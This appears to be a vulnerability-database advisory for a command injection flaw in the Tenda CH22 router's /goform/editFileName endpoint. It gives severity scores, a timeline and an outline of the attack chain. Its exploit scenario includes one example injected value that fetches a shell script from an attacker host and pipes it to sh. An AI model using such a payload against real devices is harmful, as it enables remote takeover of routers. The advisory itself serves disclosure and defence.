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Tenda CH22 EUVDEUVD-2026-64632

| CVE-2026-78063 LOW
Command Injection (CWE-77)
2026-08-23 VulDB GHSA-x5qw-fmv8-fhx9
2.1
CVSS 4.0 · Vendor: VulDB

Severity by source

Vendor (VulDB) PRIMARY
2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.8 HIGH

Network-accessible web endpoint requires only low-privilege auth; command injection yields full OS shell execution, warranting C:H/I:H/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Severity Changed
Aug 23, 2026 - 05:22 NVD
MEDIUM LOW
CVSS changed
Aug 23, 2026 - 05:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
Analysis Generated
Aug 23, 2026 - 05:00 vuln.today
CVE Published
Aug 23, 2026 - 04:30 cve.org
MEDIUM 5.3

DescriptionCVE.org

A security flaw has been discovered in Tenda CH22 1.0.0.1. The impacted element is the function formeditFileName of the file /goform/editFileName. The manipulation of the argument editNameMit results in command injection. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks.

AnalysisAI

Command injection in Tenda CH22 version 1.0.0.1 allows a remote low-privileged attacker to execute arbitrary OS commands by manipulating the editNameMit parameter within the formeditFileName function at the /goform/editFileName web management endpoint. A public proof-of-concept exploit has been released, confirmed by the CVSS 4.0 E:P modifier and a linked Notion-hosted exploit writeup. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain low-privilege web UI credentials
Delivery
Send crafted HTTP request to /goform/editFileName
Exploit
Inject shell metacharacters in editNameMit parameter
Execution
Bypass absent input sanitization
Persist
Execute arbitrary OS commands as firmware process user
Impact
Establish persistent access or pivot through compromised router

Vulnerability AssessmentAI

Exploitation Requires low-privilege authenticated access to the Tenda CH22 web management interface, as indicated by PR:L in the CVSS 4.0 vector. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) indicates low exploitation complexity, no special attack requirements, and network reachability - all factors that lower the barrier to exploitation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who has obtained low-privilege credentials to the Tenda CH22 web management interface - via default credentials, credential stuffing, or prior phishing - sends a crafted HTTP request to `/goform/editFileName` with the `editNameMit` parameter containing shell metacharacters (e.g., `; id ; curl attacker.com/shell.sh | sh`). The firmware passes this unsanitized value directly into a system command, executing the injected payload as the process's runtime user - likely root on embedded Linux-based router firmware. …
Remediation No vendor-released patch has been identified at time of analysis. … Detailed patch versions, workarounds, and compensating controls in full report.

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EUVD-2026-64632 vulnerability details – vuln.today

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